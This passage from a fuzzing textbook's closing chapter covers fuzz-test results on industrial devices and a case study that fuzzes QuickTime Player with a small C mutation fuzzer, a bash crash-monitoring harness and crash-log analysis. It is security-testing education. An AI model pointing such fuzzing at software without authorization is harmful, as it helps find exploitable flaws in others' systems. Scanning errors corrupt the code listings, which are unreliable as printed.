and target system monitoring during testing. Systematic coverage of the tested pro-
tocol implementation is generally able to reveal unknown vulnerabilities (also know
as 0-day vulnerabilities) as well as known vulnerabilities that could be exploited
remotely. However, the scope of testing was to only discover the vulnerabilities and
not to create the actual exploits for them.

A tested set of protocols represents only a subset of all possible protocols form-
ing the attack surface in each device. Full attack surface coverage requires complete
interface analysis on the device and optimal interoperability between the device and
the fuzzing tools. Furthermore, since the input space in negative testing is infinite,
the number of possible test cases is also infinite. For these tests, the test cases were
from the baseline groups representing a finite, basic set of test cases.

Security breaches in industrial systems are increasingly common today.?® While
vendors claim that security issues are under control, the above results indicate

Table 9.3 Security Testing Results from Fuzz Testing against a Range of Industrial Devices with
Support for Industrial Protocols

ISA9S5 level Type of Device IPv4 ICMPv6  Modbus CIP
L1 Ethernet control system  Pass  Fail Fail Not implemented
L2 Industrial switch/router ~ Pass  Pass Not implemented  Fail
L1 AC drive Pass Not tested Fail Fail

20CNN NEWS, Government hacks and security breaches skyrocket, http://www.cnn.com/2014/12/19/
politics/government-hacks-and-security-breaches-skyrocket/, referenced 2015-04-30.



300

Fuzzing Case Studies

9.6

otherwise. Without doubt, writing good-quality software is a nontrivial task and
therefore every vendor should commit to following best practices on quality assur-
ance in order to eliminate as much of the vulnerabilities as possible.

Designing ICS security should consider all external systems interfacing the
ICS network components. This requires a holistic approach where certification,
segmentation, data diodes, and other good security practices play an essential role.
Sharing network devices should not be done without having clear knowledge on the
implications sharing has for updating the devices. The core ICS network compo-
nent security should be handled with the same formality as with devices related to
safety systems. This means certification and more thorough testing. After all, the
ICS core should be the most dependable part of the process.

Black-Box Fuzzing for Security Researchers

Finally, we conclude this book with an example of auditing a black-box application.
This may occur as part of a formal audit at the end of the software development
cycle, as an engagement by a security consultant, or by a security researcher looking
at a released product. In the first two cases, it is obvious which system is the target.
In the latter case, there is much discretion in choosing the target.

9.6.1 Select Target

For software developers and testers, there is usually not a chance to choose the tar-
get. You must simply test the system you are developing. Likewise, security auditors
are required to test the system given to them for review. The only exception is when
there are a number of systems that need testing, and it becomes important to pick
which one should be tested first or which one requires the most time for examin-
ing. In this case, such a decision needs to be based on factors such as risk, whether
some applications are more exposed than others and how well each product was
developed, for example.

For the security researcher, target selection is very important. If you choose a
target that is very secure and well written, say Apache, it is likely you won’t find
any bugs. If you choose a product that is too obscure, like Tom’s Mail Server, no
one will care if you find any bugs. It’s best to choose something in between. Other
good strategies include choosing products that have not been fuzzed or those with
a recent track record of problems. Examples of the former include SNMP imple-
mentations in 2002 and web browsers in 2006.21:22 We choose the latter path and
examine Apple’s QuickTime media player due to its history of vulnerabilities. In
fact, in 2007, there were over 34 security holes in this product alone.?3

21http://xforce.iss.net/xforce/alerts/id/advise110.
22www.news.com/Security-expert-dubs-July-the-Month-of-browser-bugs/2100-1002 _3-6090959.
html.

2www.securityfocus.com/brief/645.
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9.6.2 Enumerate Interfaces

Normally, when a system is about to be fuzzed, it is important to determine all the
ways data can be passed to the target. For local applications, this might include com-
mand line arguments, environment variables and files consumed, for example. For
network devices, this might vary from low level packets such as Ethernet packets,
up to the TCP/IP stack, and then any administrative applications such as web serv-
ers on the device. It is important to identify all possible protocols/formats that the
system understands. This might be network protocols or file formats. For example,
a web browser can speak many different protocols including HTTP, FTP, HTTPS,
RTSP, and so on, as well as parse many different image formats.

In our target of QuickTime, we need to know which formats QuickTime sup-
ports. The Apple website lists many formats supported by QuickTime. However,
it is often best to ignore such documentation and go straight to the source. There
is a program for Mac OS X called RCDefaultApp that specifies which formats are
associated with which applications.?* Using this application, a wide variety of for-
mats are found, including

+ 3g2;
* aac;
s amg;
s avi;
. caf;
* rtsp.

QuickTime Player supports almost 50 different file extensions. This is one rea-
son it has had so many bugs—it has a very large feature set. At this point it is just
a matter of choosing a protocol and beginning to fuzz. For this fuzzing session, we
chose the Audio Video Interleave (AVI) format.

9.6.3 Choose Fuzzer/Fuzzer Type

Choosing the fuzzer and fuzzer type is sometimes a difficult decision. It usually
boils down to how badly you want to find bugs versus how much time, energy,
and/or money you wish to spend. As we demonstrated in the last chapter, the most
effective method for finding bugs is probably to use a combination of different fuzz-
ers. However, in real life, this is not always feasible. Normally, product shipment
deadlines and other projects force us to choose one fuzzer and may even limit the
amount of time fuzzing can be performed with the single fuzzer.

For this case study, like most security researchers, we have no budget, so com-
mercial tools are out of the question. Therefore, our choice is between an open-
source mutation-based or generational-based fuzzer. We don’t have a lot of time,
and as we’ll see, attacking QuickTime Player with a generational-based fuzzer
is a little like attacking an ant with a sledgehammer, so we’ll go with the easier

2*http://rubicode.com/Software/RCDefaultApp
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mutation-based approach. We could use something like FileFuzz or the PaiMei file
fuzzer, but we choose to reinvent the wheel. The following simple C program is
used for our fuzzing.?’

f#include <stdio.h>
f#finclude <unistd.h>
f#include <string.h>

ffdefine NUM_FILES 8192
ffdefine SIZE 6250577

int main(void)

{
FILE *in, *out, *lout;
unsigned int n, i, Jj;
char *buf = malloc(SIZE);
char *backup = malloc(SIZE);
char outfile[1024];

int rn, rn2, rn3, rn4;
int rbyte;
int numwrites;

in = fopen(“good.avi”, “r”);
n = read(fileno(in), buf, SIZE);
memcpy (backup, buf, n);

lout=fopen(“list”, “w”);
srand(time(NULL));

for (i=0;i<NUM_FILES;i++)

{
// seek and write
numwrites=rand() % 16;

numwrites++;

printf(“[+] Writing %d bytes\n”, numwrites);
for (j=0;j<numwrites;j++)
{

rbyte = rand() % 257;

if (rbyte == 256)

rbyte = -1;

rn = rand() % n - 1;

printf(“[+] buf[%d] = %d\n”, rn, rbyte);

buflrn] = rbyte;

25Thanks to Josh Mason for writing this simple, but very effective fuzzer.
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}
sprintf(outfile, “bad-%d.avi”, i);

out = fopen(outfile, “w”);
write(fileno(out), buf, n);
fclose(out);

fprintf(lout, “%Zs\n”, outfile);

memcpy (buf, backup, n);

This simple file fuzzer changes up to 16 bytes in a file to a random value. It then
writes out these new files to disk. It does this 8,192 times. This is a perfect example
of a simple mutation-based fuzzer with no idea of the underlying file format.

9.6.4 Choose a Monitoring Tool

We’ve demonstrated the importance of choosing a good monitoring tool. Depending
on the situation, from having complete source code access to fuzzing a black-box
network appliance, the choices of monitoring tools available will vary. Likewise,
some monitoring tools may take additional time to set up or may be expensive
commercial endeavors.

In this case we are fuzzing QuickTime Player on Mac OS X. As we mentioned
before, Mac OS X has a built in monitoring feature called CrashReporter. When-
ever an application crashes, the CrashReporter will detect this event and log it to a
file. We’ll use this to our advantage to monitor the target application. Furthermore,
we’ll use libgmalloc, discussed in Chapter 6, to help find even small memory cor-
ruption bugs.

9.6.5 Carry Out the Fuzzing

At this point, the fuzzing needs to be actually carried out. Running a fuzzer, espe-
cially one with a random component, can take a significant amount of time and
may require considerable patience. When fuzzing certain devices or network serv-
ers, consideration must be taken to restart the application or device whenever it
crashes. For file fuzzing, the application is often launched for each fuzzed input,
so this isn’t an issue.

We arbitrarily chose to create 8,192 fuzzed inputs. We use the following simple
shell script to launch QuickTime Player with each of the inputs we created.

f#1/bin/bash
VAR=0;
X=0;
Y="wc -1 /var/log/crashreporter.log | awk ‘“{print $1}’°;
for i in “cat list;
do
echo $1;
DYLD_INSERT_LIBRARIES=/usr/1ib/1ibgmalloc.dylib
/Applications/QuickTime\
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Player.app/Contents/Mac0S/QuickTime\ Player $i &
VAR="expr $VAR + 1°;

if [ $VAR == 10 J; then
sleep 60;
X="wc -1 /var/log/crashreporter.log | awk
“{print $1}°°;
echo $X;
echo $Y;

if [ $Y -1t $X 1
then
echo “Sometime before: $i”
fi
VAR=0;
Y=$X;
kiTTall -9 QuickTime\ Player;
fi
done

This script launches QuickTime Player with the bad files 10 at a time. It then sleeps
for 60 seconds and then kills all the QuickTime Player processes and continues.
Meanwhile, it monitors the CrashReporter log for any changes and reports when one
occurs. By launching this and waiting just under 24 hours, the fuzzing is complete.
This is a good point to observe the tradeoff between monitoring a target and the
speed/number of fuzzed inputs. Using libgmalloc takes QuickTime Player consider-
ably longer to start than not using it. Without using this feature, the fuzzing could
be conducted approximately 20 times faster, or in just over an hour. Another way
to look at it is that in the same period of time, without monitoring, we could have
fuzzed with 150,000 inputs instead of 8,000.

9.6.6 Postfuzzing Analysis

After the fuzzer has been run and all the crashes have been documented, more work
remains. The crashes must be analyzed to figure out to which underlying vulner-
abilities they belong. There may be many different crashes that really point to the
same bug. Likewise, there may be difficult-to-repeat crashes that require very pre-
cise sequences of inputs to trigger. Some of these issues can be made simpler using
a fuzzing framework such as Sulley or a Peach.

At the conclusion of our fuzz test against QuickTime Player, the fuzzer reported
two crashes. By the design of the shell script, this narrows the crashes to 20 possibly
bad files. At this point, each one must be run individually to determine which caused
problems. After this was carried out, two distinct files were left that crashed the
player. Both crashes were identical, meaning there is one underlying vulnerability.
CrashReporter gives the dialogue shown in Figure 9.8.

A little closer look within the debugger reveals the instruction that crashes:
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The application QuickTime Player quit
unexpectedly.
2008-01-23 21:43:01 -0600

EXC_BAD_ACCESS (SIGBUS)
KERN_PROTECTION_FAILURE at 0x00000000f03af000

Thread 0 Crashed:

Copy8C32ARGE + 88

RAW_CDDrawBand + 1986
RAW_CDComponentDispatch + 170
CallComponentDispatch + 29
ImageCodecDrawBand + 43
BaseCodec_DecompressWorkFunction + 1089
BaseCodec_DecompressCallBack_Common + 1300
Base_CDBandDecompress + 3725
Base_CDComponentDispatch + 125
CallComponentDispatch + 29

WO~ D s WO

( Ignore ) ( Report... ) ( Relaunch )

Figure 9.8 CrashReporter observes that our fuzzed input has caused some problems.

0x9278020e <Copy8C32ARGB+88>: movzx eax,BYTE PTR [edx]

Closer inspection shows this is within a loop, and eventually edx goes beyond
mapped memory. It appears to be an overflow in the source buffer of a copy. It is
unclear whether this condition is exploitable without more investigation.

Summary

To conclude the book, in this chapter we went through different use cases with
fuzzing. The purpose of this chapter was not to give a thorough walk-through of
fuzzing in any of these use cases, but to enable you to see the technique in use in
different environments.

Deployment of fuzzing is often technology oriented. We do not want to down-
play that approach, because we definitely know that fuzzing is cool and exciting.
If you get your hands on a fuzzing framework such as a Sulley or Peach, you will
definitely have fun for months and months. The outcome is not necessarily what
you might have hoped for, though. You might catch a flaw here and another there,
but what about the bugs you left behind? The deployment of fuzzing should start
from real need.

In any enterprise space, your CIO will most probably have regular nightmares
on some peculiar threat-scenarios that you could go and eliminate with fuzzing. An
enterprise network is loaded with various network applications and services that are
open to the hostile internet, and all of those are good targets for fuzzing. Any CIO
will immediately understand the value of proactive fuzzing and most often would
look forward to outsourcing fuzzing to a consultant who has experience in the field.

Fuzzing in the carrier and ISP space is a bit different. Whereas in the enterprise
environment you very rarely have the luxury of dedicated test networks, the service
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providers are well prepared to schedule test-time for fuzzing. Also, because the
worst attack to a service provider is a Denial of Service, you will not have to waste
weeks and weeks explaining what a buffer overflow is. They do not care. Actu-
ally, an attack with a malicious payload would just downplay the vulnerability, as
down-time is much more expensive for them.

Software developers are the most challenging users of fuzzing. The QA people
will only very slowly change their mentality from feature testing into seemingly
ad-lib negative testing, for which you could classify fuzzing. But, slowly, all the
major software-developing companies have seen the light, and hopefully smaller
organizations will follow behind. Acquisitions of some selected web fuzzer compa-
nies by both HP and IBM in 2007 could show that at least the web fuzzing market
is becoming more mature.

Network manufacturers, on the other hand, are driven by requirements set
by the service providers and have been quick to react to fuzzing needs. Again, the
fuzzing deployment has started from the biggest players in the market, all of which
do fuzzing of some sort. Security product vendors have also been quick to follow,
and the development of most security devices already utilizes fuzzing quite early in
the development process.

Next, we discussed fuzzing with SCADA fuzzing. Industrial automation is just
one of the examples of how software has penetrated the national critical infra-
structure, and fuzzing in that space can really be a life saver. Next time when you
read an article about a power blackout, think about SCADA fuzzing for a second.
The same fuzzing concepts that are used in the industry data busses apply for any
traditional industries such as the automobile or airline industries.

Finally, we took a look at fuzzing from the security researcher’s perspective.
This approach is different from the other ones because it is conducted in a black-box
setting since the source code is not available. We stepped though an entire fuzzing
session from target selection through reporting the vulnerabilities. It showed very
plainly just how effective even simple mutation-based fuzzing can be.

Without fuzzing, we will forever stay in the hamster-wheel of patch-and-pen-
etrate, reading about the latest vulnerabilities and crashing electric systems in the
headlines of our morning papers. With that thought, please keep an open mind
and review your own work and the work of your colleagues and see where fuzzing
fits for you and your organization. Please do not hesitate to email us your stories
from the trenches. Our foremost motivation in writing this book was to help you,
the reader, but in order to do that and to keep improving the book, we need your
feedback on what to improve.
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